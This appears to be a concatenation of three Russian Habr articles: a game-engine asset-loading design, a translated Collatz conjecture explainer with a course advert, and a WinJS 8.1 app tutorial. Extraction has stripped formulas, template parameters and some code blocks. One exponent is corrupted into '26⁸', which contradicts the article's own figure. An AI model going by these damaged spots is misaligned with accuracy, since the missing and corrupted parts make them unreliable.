Вся система загрузки ассетов базируется на трех классах: `AssetManager, AssetBase, IAssetSerializer`. Однако, прежде, чем перейти к описанию этих классов, надо сказать, что внешний код использует псевдоним `Asset` который объявлен так:
```
Asset = std::shared_ptr
```
где T — это AssetBase или конкретный тип ассета. Используя везде shared\_ptr, мы достигаем выполнения требования номер 1 (Автоматическое управление памятью).
`AssetManager` — это конечный класс, не имеющий наследников. Данный класс определяет цикл жизни ассета и рассылает сообщения об изменении состояния ассета. Также `AssetManager` хранит дерево зависимостей между ассетами и привязку ассета к файлам на диске, слушает `FileWatcher` и реализует перезагрузку ассета. И самое главное — `AssetManager` запускает отдельный поток, реализует очередь задач на подготовку ассета и инкапсулирует в себе всю синхронизацию с другими потоками приложения (запрос ассета может быть выполнен из любого потока приложения, включая поток загрузки).
При этом `AssetManager` оперирует абстрактным ассетом `AssetBase`, делегируя задачи создания и загрузки ассета конкретного типа наследнику от `IAssetSerializer`. О том, как это происходит я расскажу подробнее в последующих статьях.
В рамках требования номер 4 (Совместное использование ассетов) одним из самых жарких вопросов стал «что использовать в качестве идентификатора ассета?». Самым простым и, казалось бы, очевидным решением было бы использовать путь к файлу, который надо загрузить. Однако, такое решение накладывает ряд серьёзных ограничений:
1. Для создания ассета последний должен быть представлен в виде файла на диске, что отменяет возможность создания runtime ассетов на основе других ассетов.
2. Нет механизма передачи дополнительной информации. Например, для создания ассета GPUProgram нужен список определений препроцессора (defines). И поскольку требуется совместное использование ассетов, то определения препроцессора должны быть частью идентификатора.
3. Отсутствует возможность загрузить один и тот же ассет два раза, когда это необходимо.
4. Отсутствует возможность загрузить два разных ассета из одного файла.
Пункт 3 и 4 мы не рассматривали как довод в самом начале, так как не было даже мысли о том, что это может пригодится. Однако эти возможности в последствии сильно облегчили разработку редактора.
Таким образом, мы приняли решение использовать в качестве идентификатора ключ ассета, который на уровне `AssetManager` представлен типом `Any`. О том, как интерпретировать `Any`, знает наследник `IAssetSerializer`. Сам `AssetManager` знает лишь связь между типом ключа и наследником `IAssetSerializer`. Код, который запрашивает ассет, обычно знает какого типа ассет ему нужен и оперирует ключем конкретного типа. Все это происходит примерно так:
```
class Texture: public AssetBase
{
public:
struct PathKey
{
FilePath path;
size_t hash() const;
bool operator==(const PathKey& other);
};
struct MemoryKey
{
u32 width = 1;
u32 height = 1;
u32 level_count = 1;
TextureFormat format = RBGA8;
TextureType type = TEX_2D;
Vector> data; // Face>
size\_t hash() const;
bool operator==(const MemoryKey& other);
};
};
class TextureSerializer: public IAssetSerializer
{
};
class AssetManager final
{
public:
template
Asset get\_asset(const Any& key, ...);
Asset get\_asset(const Any& key, ...);
};
int main()
{
...
Texture::PathKey key("/path\_to\_asset");
Asset asset = asset\_manager->get\_asset(key);
...
Texture::MemoryKey mem\_key;
mem\_key.width = 128;
mem\_key.format = 128;
mem\_key.level\_count = 1;
mem\_key.format = A8;
mem\_key.type = TEX\_2D;
Vector& mip\_chain = mem\_key.data.emplace\_back();
mip\_chain.push\_back(generage\_sdf\_font());
Asset sdf\_font\_texture = asset\_manager->get\_asset(mem\_key);
};
```
Метод `hash` и оператор сравнения внутри `PathKey` нужны для функционирования соответствующих операций класса `Any`, но мы не будем подробно на этом останавливаться.
Итак, что происходит в коде выше: в момент вызова `get_asset(key)` ключ будет скопирован во временный объект типа `Any`, который, в свою очередь, будет передан в метод `get_asset`. Далее `AssetManager` возьмет у аргумента тип ключа. В нашем случае это будет:
```
Type::instance
```
По этому типу он найдет объект сериализатора и делегирует сериализатору все последующие операции (создание и загрузка).
`AssetBase` — это базовый класс для всех типов ассетов в движке. Данный класс хранит ключ ассета, текущее состояние ассета (загружен, в очереди и т.д.), а также текст ошибки, если загрузка ассета завершилась неудачей. В действительности внутреннее устройство немного сложнее, но это мы рассмотрим вместе с жизненным циклом ассета.
`IAssetSerializer`, как видно из названия, — это базовый класс для сущности, которая занимается подготовкой ассета. На самом деле наследник данного класса занимается не только загрузкой ассета:
* Аллокация и деаллокация объекта ассета конкретного типа.
* Загрузка ассета конкретного типа.
* Составление списка путей к файлам, на основании которых строится ассет. Этот список нужен для механизма перезагрузки ассета при изменении файла. Возникает вопрос: зачем список путей, а не один путь? Простые ассеты, вроде текстур, действительно могут строиться на основании одного файла. Однако, если мы рассмотрим шейдер, то увидим, что перезагрузка должна происходить не только в случае изменения текста шейдера, но и в случае изменения файла, подключенного в шейдер через директиву include.
* Сохранение ассета на диск. Активно используется как при редактировании ассетов, так и при подготовке ассетов для игры.
* Сообщает типы ключей, которые поддерживает.
И последний вопрос, который я хочу осветить в рамках данной статьи: для чего может понадобится заводить несколько типов ключей на один сериализатор/ассет? Давайте разбираться по очереди.
### Один сериализатор — несколько типов ключей
Разберем на примере ассета `GPUProgram` (то есть шейдера). Для того чтобы загрузить шейдер в нашем движке, необходима следующая информация:
1. Путь к файлу шейдера.
2. Список определений препроцессора.
3. Стадия для которой собирается и компилируется шейдер (vertex, fragment, compute).
4. Имя точки входа.
Собрав эту информацию вместе, мы получаем ключ шейдера, который используется в игре. Однако, в ходе разработки игры или движка часто возникает необходимость вывести на экран, иногда специфическим шейдером, какую-то отладочную информацию. И в этой ситуации бывает удобно написать текст шейдера прямо в коде. Для этого мы можем завести второй тип ключа, который вместо пути к файлу и списка определений препроцессора будет содержать текст шейдера.
Рассмотрим другой пример: текстура. Самый простой способ создать текстуру — загрузить с диска. Для этого нам нужен путь к файлу (`PathKey`). Но мы также можем сгенерировать содержимое текстуры алгоритмически и создать текстуру из массива байт (`MemoryKey`). Третьим типом ключа может стать ключ для создания `RenderTarget` текстуры (`RTKey`).
В зависимости от типа ключа могут использоваться различные движки растеризации глифа: stb (StbFontKey), FreeType (FTFontKet) либо самописный генератор signed distance field шрифтов (SDFFontKey).
Анимация ключевыми кадрами может быть загружена (`PathKey`), либо сформирована кодом (`MemoryKey`).
### Один ассет — несколько типов ключей
Представьте себе, что у нас есть `ParticleEffect` ассет, который описывает правила генерации частиц. Кроме того, у нас есть удобный редактор данного ассета. При этом редактор уровней и редактор частиц — это одно многооконное приложения. Это удобно, поскольку можно открыть уровень, разместить в нем источник частиц и смотреть на эффект в окружении уровня, параллельно редактируя сам эффект. Если у нас один тип ключа, то объект эффекта, который используется в мире редактирования эффекта и в мире уровня, один и тот же. Все изменения, произведенные в редакторе эффекта, сразу будут видны в уровне. На первый взгляд может показаться, что это крутая идея, но давайте рассмотрим следующие сценарии:
1. Мы открыли для редактирования эффект, расположенный на уровне, внесли изменения и закрыли, не сохраняя внесенные изменения. Тем не менее, объект в памяти был изменен и в уровне будет отображаться с изменениями.
2. Какая-то из систем запомнила указатель на часть ассета, чтобы быстрее обновлять частицы. В редакторе частиц происходит удаление этой части ассета, и на следующей итерации работы системы мы обращаемся к удаленной области памяти.
Кроме того, возможна ситуация, в который мы из одного файла на диске по двум разным типам ключей создаем два разных типа ассета. По «игровому» типу ключа мы создаем структуру данных, оптимизированную для быстрой работы в игре. По «редакторному» типу ключа мы создаем структуру данных, удобную для редактирования. Примерно таким образом в нашем редакторе реализовано редактирование `BlendTree` для скелетных анимаций. По одному типу ключа ассетная система строит нам ассет с честным деревом внутри и кучей сигналов об изменении топологии, что очень удобно при редактировании, но достаточно медленно в игре. По другому типу ключа сериализатор создает другой тип ассета: ассет не имеет никаких методов, касающихся изменения дерева, а само дерево превращено в массив узлов, где ссылка на узел — индекс в массиве.
### Эпилог
Подводя итоги, я бы хотел сконцентрировать ваше внимание на решениях, которые сильнее всего повлияли на дальнейшее развитие движка:
1. Использование пользовательской структуры в качестве ключа ассета, а не пути к файлу.
2. Загрузка ассета только в асинхронном режиме.
3. Гибкая схема управления совместным использованием ассета (один ассет — несколько типов ключей).
4. Возможность получать ассет одного и того же типа, используя разные источники данных (поддержка нескольких типов ключей в одном сериализаторе).
О том, как именно эти решения повлияли на реализацию как внутреннего кода, так и внешнего, вы узнаете в следующих сериях.
Автор: [ExMix](https://habr.com/ru/users/exmix/) | https://habr.com/ru/post/498300/ | null | ru | null |
# Простая математическая задача, которую мы все еще не в состоянии решить
> Сергей Жестков - преподаватель МФТИ и по совместительству эксперт OTUS, приглашает всех желающих на бесплатный демо-урок [продвинутого курса "Математика для Data Science"](https://otus.pw/WXEe/), по теме: [«Отображения, их матрица и диагонализация»](https://otus.pw/WXEe/).
>
>
> А мы традиционно делимся с вами переводом интересного материала.
>
>
---
*Несмотря на недавние сподвижки с небезызвестной гипотезой Коллатца, мы до сих пор не можем понять, может ли число выйти из бесконечного цикла.*
Эта статья идет вместе с предупреждением: не пытайтесь решить эту математическую задачу.
Вы будете испытывать соблазн попробовать сделать это. Эта проблема достаточно просто сформулирована, понятна и слишком заманчива. Просто выберите число, любое число: если число четное, разделите его пополам; если оно нечетные, умножьте его на 3 и прибавьте 1. Возьмите получившееся новое число и повторяйте этот процесс снова и снова. Если вы будете продолжать выполнять эти итерации достаточное количество раз, в конечном итоге вы застрянете в бесконечном цикле. По крайней мере, мы так думаем.
Возьмем, к примеру, 10: 10 - четное, поэтому мы делим его пополам и получаем 5. Поскольку 5 - нечетное число, мы умножаем его на 3 и прибавляем 1. Теперь у нас есть 16, которое является четным, поэтому мы делим его на 2 и получаем 8, а затем делим пополам 8 и получаем 4, затем снова делим его пополам и получаем 2, и еще раз, получив наконец 1. Поскольку 1 нечетно, мы утраиваем его и прибавляем 1. Мы снова вернулись к 4, а мы уже знаем, куда это нас приведет: 4 превратится в 2, которое превратится в 1, которое превратится в 4, и так далее. Мы застряли в бесконечном цикле.
Или давайте попробуем 11: это нечетное число, поэтому мы утроим его и прибавим 1. Теперь мы получили 34, что является четным числом, поэтому мы делим его пополам и получаем 17, утраиваем и прибавляем 1, чтобы получить 52, уменьшаем вдвое, чтобы получить 26, и снова, чтобы получить 13, устраиваем его и добавляем 1, чтобы получить 40, уменьшите его вдвое, чтобы получить 20, затем 10, затем 5, утраиваем и добавляем 1, чтобы получить 16, делим пополам, чтобы получить 8, затем 4, 2 и 1. И мы снова застряли в бесконечном цикле.
Печально известная гипотеза Коллатца гласит, что если вы начнете с любого положительного целого числа, вы всегда окажетесь в этом бесконечном цикле. И вы, вероятно, проигнорируете мое предупреждение о попытке решить эту проблему: она кажется слишком простой и слишком складной, чтобы сопротивляться пониманию. На самом деле, было бы трудно найти математика, который бы не пытался найти подход к этой проблеме.
И я не смог проигнорировать ее, когда впервые узнал о ней в школе. Мы с друзьями целыми днями обменивались захватывающими идеями, которые в итоге никак не приближали нас к ответу. Но гипотеза Коллатца печально известна не просто так: даже если каждое число, которое когда-либо было опробовано, в конечном итоге попадает в этот цикл, мы все еще не можем быть уверены, что это утверждение справедливо всегда. Несмотря на все внимание, это до сих пор всего лишь предположение.
Тем не менее некоторый прогресс все же был достигнут. Один из величайших математиков в мире проигнорировал все предупреждения и [взялся за дело](https://www.quantamagazine.org/mathematician-terence-tao-and-the-collatz-conjecture-20191211/), в итоге достигнув крупнейшего за последние десятилетия успеха в решении этой проблемы. Давайте посмотрим, что делает эту простую проблему такой сложной.
Чтобы понять гипотезу Коллатца, мы начнем со следующей функции:
*(even - четные, odd - нечетные)*
Вы можете вспомнить «кусочные» функции из школы: функция выше принимает на вход *n* и применяет к нему одну из двух формул, в зависимости от того, является *n* четным или нечетным. Эта функция *f* применяет формулы процедуры, описанной выше: например, `f (10) = 10/2 = 5`, поскольку 10 четное, и `f (5) = 3 × 5 + 1 = 16`, поскольку 5 нечетное. Благодаря формуле для нечетных переменных гипотеза Коллатца также известна как гипотеза 3*n* + 1.
Гипотеза Коллатца касается «орбит» этой функции *f*. Орбита - это то, что вы получите, если начнете с какого-либо числа и многократно примените функцию, принимая каждый результат и возвращая его в функцию в качестве новой переменной. Мы называем это «итерированием» функции. Мы уже начали вычислять орбиту 10 для *f*, поэтому давайте найдем следующие несколько членов:
`f (10) = 10/2 = 5`
`f (5) = 3 × 5 + 1 = 16`
`f (16) = 16/2 = 8`
`f (8) = 8/2 = 4`
Удобно представлять орбиту в виде последовательности со стрелками. Вот орбита 10 для *f*:
`10 → 5 → 16 → 8 → 4 → 2 → 1 → 4 → 2 → 1 → …`
В конце мы видим, что застряли в бесконечном цикле `1 → 4 → 2 → 1 →….`
Аналогично, орбита 11 для *f* может быть представлена как
`11 → 34 → 17 → 52 → 26 → 13 → 40 → 20 → 10 → 5 → 16 → 8 → 4 → 2 → 1 → 4 → ….`
Мы снова попадаем в тот же цикл. Попробуйте еще несколько примеров, и вы увидите, что орбита всегда стабилизируется в этом цикле `4 → 2 → 1 →….` Начальные значения 9 и 19 забавны, а если у вас есть несколько свободных минут, попробуйте 27. Если ваша арифметика будет верна, вы окажетесь в цикле после 111 шагов.
Гипотеза Коллатца утверждает, что орбита каждого числа для *f в* конечном итоге достигает 1. И хотя никто не доказал эту гипотезу, она была проверена для каждого числа меньше 26⁸. Так что, если вы ищете контрпример, вы можете начать с 300 квинтиллионов. (Вы были предупреждены!)
Легко проверить, что гипотеза Коллатца верна для любого конкретного числа: просто вычисляйте орбиту, пока не дойдете до 1. Но чтобы понять, почему так трудно доказать ее для каждого числа, давайте исследуем немного более простую функцию *ℊ*.
Функция *ℊ* похожа на *f*, но для нечетных чисел она просто добавляет 1 вместо того, чтобы сначала утроить их. Так *ℊ* и *f* разные функции, числа имеют разные орбиты*.* Например, вот орбиты 10 и 11 для *ℊ*:
`10 → 5 → 6 → 3 → 4 → 2 → 1 → 2 → 1 → 2 → …`
`11 → 12 → 6 → 3 → 4 → 2 → 1 → 2 → 1→ 2 → …`
Обратите внимание, что орбита числа 11 достигает 1 быстрее для *ℊ,* чем для *f*. Орбита 27 также достигает 1 намного быстрее для *ℊ.*
`27 → 28 → 14 → 7 → 8 → 4 → 2 → 1 → 2 → …`
В этих примерах орбиты *ℊ* тоже выглядят стабилизирующимися, так же как орбиты *f,* но в немного более простой цикл:
`→ 2 → 1 → 2 → 1 → ….`
Мы можем предположить, что орбиты *ℊ* всегда стремятся к 1. Я назову это гипотезой «Ноллатца», но мы также можем называть ее гипотезой *n* + 1. Мы могли бы поэкспериментировать с ней, проверив больше орбит, но знание того, что что-то верно для множества чисел - даже 26⁸ из них - не является доказательством того, что это верно для всех чисел. К счастью, гипотеза Ноллатца может быть доказана. Вот каким образом.
Во-первых, мы знаем, что половина положительного целого числа всегда меньше самого целого числа. Итак, если *n* четное и положительное, то `ℊ(n) = n/ 2 < n`*.* Другими словами, когда орбита достигает четного числа, следующее число всегда будет меньше.
Теперь, если *n* нечетное, то `ℊ(n) = n + 1`, что больше *n*. Но так *п* нечетно, *п* + 1 четно, и поэтому мы знаем куда орбита приведет нас дальше: *ℊ* поделит *п* + 1 пополам. Для нечетного *n* орбита будет выглядеть так:
Обратите внимание, что
. Поскольку
и
 - это очень мало,
 вероятно, тоже меньше *n*. И в самом деле, несложно доказать, что покуда *n*> 1, то всегда выполняется
Это говорит нам о том, что когда орбита *ℊ* достигает нечетное число большее 1, мы всегда будем получать меньшее число двумя шагами позже. Теперь мы можем обрисовать в общих чертах доказательство гипотезы Ноллатца: где угодно на нашей орбите, будь то четное или нечетное число, мы будем иметь тенденцию к снижению. Единственное исключение - когда мы достигаем 1 в конце этого спуска. Но как только мы достигаем 1, мы попадаем в бесконечный цикл, как мы и предполагали.
Может ли аналогичное доказательство сработать с гипотезой Коллатца? Вернемся к исходной функции.
Как и в случае с *ℊ*, подстановка в *f* четного числа уменьшает его. Как и в случае с *ℊ*, подстановка в *f* нечетного числа возвращает нам четное число, что означает, что мы знаем, что произойдет дальше: *f* сократит новое число вдвое. Вот как выглядит орбита *f,* когда *n* нечетное:
Но здесь наше доказательство начинает разваливаться. В отличие от примера выше, это число больше *n*:
и
, что всегда больше *n*. Ключом к доказательству гипотезы Ноллатца было то, что нечетное число через два шага должно стать меньше, но это неверно в случае Коллатца. Наше доказательство не работает.
Если у вас есть что-то общее со мной и моими школьными друзьями, вы, возможно, захотите попробовать доказать, что гипотеза Коллатца ложна: в конце концов, если орбита продолжает увеличиваться, то как она может опуститься до 1? Но это доказательство требует понимания того, что происходит дальше, а что происходит дальше, проливает свет на то, почему гипотеза Коллатца настолько скользкая: мы не можем быть уверены, четное ли
 или нечетное.
Мы знаем, что 3*n* + 1 четное. Если 3*n* + 1 также делится на 4, то
 тоже четное, и орбита будет уменьшаться. Но если 3*n* + 1 не делится на 4, то
 нечетное, и орбита увеличивается. Как правило, мы не можем предсказать, что из этого окажется правдой, поэтому наше доказательство несостоятельно.
Но этот подход не совсем бесполезен. Поскольку половина всех положительных целых чисел четные, с вероятностью в 50%
 четное, что делает следующий шаг по орбите равным
. Для *n* > 1 это уже меньше, чем *n*, поэтому в половине случаев нечетное число должно уменьшаться после двух шагов. Также существует 50%-ная вероятность, что
 это четное число, что означает, что существует 25%-ная вероятность того, что нечетное число станет меньше более чем в два раза после трех шагов. И так далее. Конечный результат состоит в том, что в некотором среднестатистическом случае орбиты Коллатца уменьшаются, когда они сталкиваются с нечетным числом. А поскольку орбиты Коллатца всегда уменьшаются для четных чисел, это наталкивает на вывод, что все последовательности Коллатца в долгосрочной перспективе должны уменьшаться. Это доказательство на основе вероятностей широко известно, но еще никому не удалось довести его до полного доказательства гипотезы.
Однако несколько математиков доказали, что гипотеза Коллатца «почти всегда» верна. Это означает, что они доказали, что по сравнению с количеством чисел, которые, как они знают, приводят к 1, количество чисел, в которых они не уверены, ничтожно мало. В 1976 году эстонско-американский математик Рихо Террас [доказал](http://matwbn.icm.edu.pl/ksiazki/aa/aa30/aa3034.pdf), что после многократного итерирования функции Коллатца почти все числа в конечном итоге оказываются ниже тех, с которых они начинались. Как мы видели выше, доказательство того, что числа на орбите постоянно уменьшаются, - это один из способов доказать, что они в конечном итоге доходят до 1.
А в 2019 году [Теренс Тао](https://www.math.ucla.edu/~tao/), один из величайших математиков мира, [улучшил этот результат](https://www.quantamagazine.org/mathematician-terence-tao-and-the-collatz-conjecture-20191211/). Если Террас доказал, что почти для всех чисел последовательность Коллатца для *n* в итоге приходит к числу меньшему, чем *n*, Тао доказал, что почти для всех чисел последовательность Коллатца для *n* заканчивается намного ниже: ниже
, ниже
, ниже
 (натуральный логарифм *n*), даже ниже каждого *f*(*n*), где *f*(*x*) - любая функция, уходящая в бесконечность, независимо от того, насколько медленно. То есть почти для каждого числа мы можем гарантировать, что его последовательность Коллатца будет настолько низкой, насколько мы захотим. В [разговоре о проблеме](https://terrytao.files.wordpress.com/2020/02/collatz.pdf), Тао сказал, что этот результат является «пределом того насколько близко можно подобраться к гипотезе Коллатца без фактического решения.»
Даже в этом случае гипотеза будет продолжать привлекать математиков и энтузиастов. Так что выберите число, любое число и вперед. Просто помните, вас предупреждали: не зацикливайтесь бесконечно.
### Упражнения
1. Покажите, что существует бесконечно много чисел, чьи орбиты Коллатца проходят через 1.
2. «Время остановки» числа *n* - это наименьшее количество шагов, которое требуется, чтобы орбита Коллатца числа *n* достигла 1. Например, Время остановки 10 равно 6, а время остановки 11 равно 14. Найдите два числа со временем остановки 5.
3. В недавнем разговоре о гипотезе Коллатца Терренс Тао упомянул следующую функцию Коллатца:
Тао указывает, что в дополнение к петле `1 → 2 → 1 → 2 → 1…` появляются еще две петли. Вы можете их найти?
### Ответы
Нажмите, чтобы раскрыть ответ 1:Обратите внимание, что каждая степень двойки имеет простой орбитальный путь к 1. Например,
Поскольку существует бесконечно много степеней двойки, существует бесконечно много чисел, чьи орбиты Коллатца проходят через 1.
Нажмите, чтобы раскрыть ответ 2:Обратите внимание что 2^5 имеет время остановки 5, так как
 …. А поскольку 2^4 имеет время остановки 4, любое число, которое на один шаг отстает от 2^4, имеет время остановки 5. Например, 5 → 16 → 8 → 4 → 2 → 1. Могут ли быть и другие?
Нажмите, чтобы раскрыть ответ 3:Другие петли:
5 → 14 → 7 → 20 → 10 → 5 → …
и
17 → 50 → 25 → 74 → 37 → 110 → 55 → 164 → 82 → 41 → 122 → 61 → 182 → 91 → 272 → 136 → 68 → 34 → 17 → …
---
[**Записаться на бесплатный демо-урок**](https://otus.pw/WXEe/)
---
### Читать ещё:
* [Алгоритм MADDPG OpenAI](https://habr.com/ru/company/otus/blog/508736/) | https://habr.com/ru/post/527270/ | null | ru | null |
# Win 8.1 App использование HTML & WinJS
Я предполагаю, что эта статья будет интересна тем, кто знает и умеет HTML&JavaScript, но не пробовал силы в разработке приложений для Win8. Для того, чтобы пройти эту статью и кодить в сласть необходимо иметь на борту VS 2013.
В статье будут рассмотрены ключевые аспекты разработки приложений для платформы Win 8.1. А именно:
1. Жизненный цикл работы приложения;
2. Promise;
3. Работа с DataSource;
4. Создание собственных контролов;
5. Работа с темплейтами;
6. Tile-ы;
7. Share;
Для тех кто не любит читать, как я, например, исходники я выложил на [github.com/Sigura/HubraWin](http://github.com/Sigura/HubraWin),
Для того, чтоб раскрыть все обозначенные темы я создал приложение, которое будет отображать список контактов.
Если вы уже смотрите исходники, то обратите внимание, что я немного изменил default.js, для того чтоб там не было общего кода по запуску приложения и вынес его в app.js. Оставив в default.js только настройки и непосредственно запуск. Так же я дополнил WinJs.Utilities скромным набором «удобств» и шиной сообщений.
Работа с объектами
==================
В пространстве WinJS есть специальный набор способов создать класс, добавить ему методов, расширить и сделать доступным.
например, объявление класса — шины сообщений:
```
// делаем замыкание, так же для того чтоб описать зависимости
// и иметь возможность подменить их, если когда-нибудь мы захотим использовать
// этот код в другом приложении
(function (winJs) {
'use strict';
// создаём класс
var bus = winJs.Class.define(winJs.Utilities.defaultConstructor(), {
init: function (element, options) {
var me = this;
}
});
// добавляем в него возможность отправлять и принимать сообщения
winJs.Class.mix(bus, winJs.Utilities.eventMixin);
// добавляем шину в общий доступ
winJs.Namespace.define('HabraWin', {
MessageBus: bus
});
})(WinJS);
```
Приложение WinJS
================
Фактически это web приложение у которого есть свой хостинг (WWAHost.exe). Свой framework для работы с ресурсами OS и приложения в пространстве имён WinJS, Application, Windows, … И набор контролов в WinJS.UI.
Я сделал «свой» класс для приложения, для того чтоб использовать его в других проектах. По мимо стандартного набора настроек этот класс создаёт события для обработки запуска (activated с информацией о запуске), прекращения работы и прочего (oncheckpoint, before-start, after-start).
**класс приложения**; (function (winJs, habraWin) {
var app = winJs.Class.define(winJs.Utilities.defaultConstructor(), {
init: function (options) {
var me = this;
var activatedEventType = 'activated';
var ui = options.ui;
var application = options.app;
var nav = options.nav;
var activation = options.activation;
var sched = options.sched;
application.addEventListener(activatedEventType, function (args) {
me.dispatchEvent(activatedEventType, {
kind: args.detail.kind,
isReactivated: args.detail.previousExecutionState === activation.ApplicationExecutionState.terminated,
parevEventDetails: args.detail
});
if (args.detail.kind !== activation.ActivationKind.launch)
return;
nav.history = application.sessionState.history || {};
nav.history.current.initialPlaceholder = true;
ui.disableAnimations();
var p = ui.processAll().then(function () {
return nav.navigate(nav.location || habraWin.navigator.home, nav.state);
}).then(function () {
return sched.requestDrain(sched.Priority.aboveNormal + 1);
}).then(function () {
ui.enableAnimations();
});
args.setPromise(p);
});
application.oncheckpoint = function (args) {
me.dispatchEvent('oncheckpoint', { prevEvent: args });
application.sessionState.history = nav.history;
};
},
start: function () {
var me = this;
me.dispatchEvent('before-start', me);
me.options.app.start();
me.dispatchEvent('after-start', me);
}
});
winJs.Class.mix(app, winJs.Utilities.eventMixin);
winJs.Namespace.define('Application', {
Instance: app
});
})(WinJS, HabraWin);
Тогда сам запуск приложения (default.js) будет выглядеть так:
```
; (function (application, winJs, habraWin, windows, window) {
'use strict';
winJs.Binding.optimizeBindingReferences = true;
// создаём наше приложение
var app = new application.Instance({
activation: windows.ApplicationModel.Activation,
app: winJs.Application,
nav: winJs.Navigation,
sched: winJs.Utilities.Scheduler,
ui: winJs.UI
});
// делаем доступной шину сообщений в пространстве WinJS
winJs.bus = new habraWin.MessageBus();
// делаем приложение
window.app = app;
// запускаем
app.start();
})(Application, WinJS, HabraWin, Windows, window);
```
Навигация по страницам
======================
Я сторонник приложений на одной «странице». WinJS предлагает богатый набор возможностей для реализации современных сценариев взаимодействия с пользователем.
Web aka WinJS приложение нуждается в отдельном объекте для обслуживания истории переходов, по страницам, обслуживания жизненного цикла страницы.
Т.е. каждую страницу при переходе на неё нам необходимо будет рендерить в её элемент, обязательно избавляясь от предыдущей, а именно убирая слушателей событий, открытые ресурсы и т.д.
Как должен выглядеть жизненный цикл страницы:
* Применение ресурсов, байдингов (processed),
* Инициализация (ready), срабатывает тогда, когда готовы все контролы на странице и применены ресурсы, здесь можно:
1. Подписаться на события контролов страницы, в том числе AppBar,
2. Сделать какую-то работу, например первый поиск,
* Обработка обновления страницы, например, при изменении размеров,
* Выгрузка страницы (unload) для очистки всех обработчиков событий, и прочих ресурсов.
**Контрол для обслуживания навигации**(function (winJs, habraWin) {
'use strict';
winJs.Namespace.define('HabraWin', {
PageNavigatorControl: winJs.Class.define(
function (element, options) {
var nav = winJs.Navigation;
this.\_element = element || document.createElement('div');
this.\_element.appendChild(this.\_createPageElement());
this.home = options.home;
this.\_eventHandlerRemover = [];
this.addRemovableEventListener(nav, 'navigating', this.\_navigating.bind(this), false);
this.addRemovableEventListener(nav, 'navigated', this.\_navigated.bind(this), false);
window.onresize = this.\_resized.bind(this);
habraWin.navigator = this;
}, {
addRemovableEventListener: function (e, eventName, handler, capture) {
var that = this;
e.addEventListener(eventName, handler, capture);
that.\_eventHandlerRemover.push(function () {
e.removeEventListener(eventName, handler);
});
},
home: '',
\_element: null,
\_lastNavigationPromise: winJs.Promise.as(),
\_lastViewstate: 0,
pageControl: {
get: function () { return this.pageElement && this.pageElement.winControl; }
},
pageElement: {
get: function () { return this.\_element.firstElementChild; }
},
dispose: function () {
if (this.\_disposed) {
return;
}
this.\_disposed = true;
winJs.Utilities.disposeSubTree(this.\_element);
for (var i = 0; i < this.\_eventHandlerRemover.length; i++) {
this.\_eventHandlerRemover[i]();
}
this.\_eventHandlerRemover = null;
},
\_createPageElement: function () {
var element = document.createElement('div');
element.setAttribute('dir', window.getComputedStyle(this.\_element, null).direction);
element.style.position = 'absolute';
element.style.visibility = 'hidden';
element.style.width = '100%';
element.style.height = '100%';
return element;
},
\_getAnimationElements: function () {
if (this.pageControl && this.pageControl.getAnimationElements) {
return this.pageControl.getAnimationElements();
}
return this.pageElement;
},
\_navigated: function () {
this.pageElement.style.visibility = '';
winJs.UI.Animation.enterPage(this.\_getAnimationElements()).done();
},
\_navigating: function (args) {
var newElement = this.\_createPageElement();
this.\_element.appendChild(newElement);
this.\_lastNavigationPromise.cancel();
var me = this;
this.\_lastNavigationPromise = winJs.Promise.as().then(function () {
return winJs.UI.Pages.render(args.detail.location, newElement, args.detail.state);
}).then(function parentElement(control) {
var oldElement = me.pageElement;
if (oldElement.winControl) {
if (oldElement.winControl.unload) {
oldElement.winControl.unload();
}
oldElement.winControl.dispose();
}
oldElement.parentNode.removeChild(oldElement);
oldElement.innerText = '';
});
args.detail.setPromise(this.\_lastNavigationPromise);
},
\_resized: function (args) {
if (this.pageControl && this.pageControl.updateLayout) {
this.pageControl.updateLayout.call(this.pageControl, this.pageElement);
}
}
}
)
});
})(WinJS, HabraWin);
**Код страницы**(function (winJs) {
'use strict';
winJs.UI.Pages.define('/pages/hub/hub.html', {
processed: function (element) {
return winJs.Resources.processAll(element);
},
className: 'client-search-hub',
ready: function (element, options) {
this.initEnv();
this.initAppBar(element);
this.subscribe(element);
this.setFormValues(options);
this.search();
},
initAppBar: function (element) {
var me = this;
me.appBar = element.querySelector('#appbar').winControl;
this.addRemovableEventListener(me.appBar.getCommandById('clear'), 'click', function () {
winJs.bus.dispatchEvent('clear-command');
}, false);
},
subscribe: function () {
var me = this;
var search = me.element.querySelector('#search');
search && me.addRemovableEventListener(search, 'click', me.search.bind(me), false);
me.addRemovableEventListener(winJs.bus, 'client-selected', function (item) {
me.currentClient = item.detail.data;
//me.editButton.disabled = false;
me.appBar.sticky = true;
me.appBar.show();
});
me.addRemovableEventListener(winJs.bus, 'client-unselected', function (item) {
me.currentClient = null;
//me.editButton.disabled = true;
me.appBar.hide();
me.appBar.sticky = false;
});
},
unload: function () {
this.element.classList.remove(this.className);
if (this.\_disposed) {
return;
}
this.\_disposed = true;
winJs.Utilities.disposeSubTree(this.\_element);
for (var i = 0; i < this.\_eventHandlerRemover.length; ++i) {
this.\_eventHandlerRemover[i]();
}
this.\_eventHandlerRemover = null;
},
addRemovableEventListener: function (e, eventName, handler, capture) {
capture = capture !== false ? false : true;
e.addEventListener(eventName, handler, capture);
this.\_eventHandlerRemover.push(function () {
e.removeEventListener(eventName, handler);
});
},
updateLayout: function (element) {
///
// TODO: Respond to changes in layout.
//debugger;
},
setFormValues: function (clinetInfo) {
this.searchForm = this.element.querySelector('#main-search-form');
this.searchForm && this.searchForm.setAttribute('data-win-options', JSON.stringify(clinetInfo));
this.searchForm && this.searchForm.winControl && this.searchForm.winControl.setValues(clinetInfo);
},
search: function () {
winJs.bus.dispatchEvent('search-command');
},
initEnv: function() {
this.element.classList.add(this.className);
this.\_eventHandlerRemover = [];
}
});
})(WinJS);
Локализация
===========
Если сделать файл strings\ru-RU\resources.resjson
```
{
"pageHeader": "Habra WinJS 8.1"
// …
}
```
то в коде пользоваться ссылками:
```
```
Путь к наиболее подходящему языку будет автоматически подхвачен при запуске.
[Любопытно, что можно встроить в ресурсы байдинг.](http://code.msdn.microsoft.com/windowsapps/Application-resources-and-cd0c6eaa/sourcecode?fileId=43559&pathId=1789706597)
Так же интересно, что для ресурсов используется специальный тип контента в jsproj
```
```
Т.е. необходимо создать ресурсный файл пользуясь интерфейсом VS, совсем нельзя переименовать существующий файл, напрмиер, txt в resjson, он будет в jsproj:
```
```
что сделает невозможным использование т.к. он не будет подгружаться автоматически.
Темплейты, байдинг
==================
Пример темплейта:
```
![]()
```
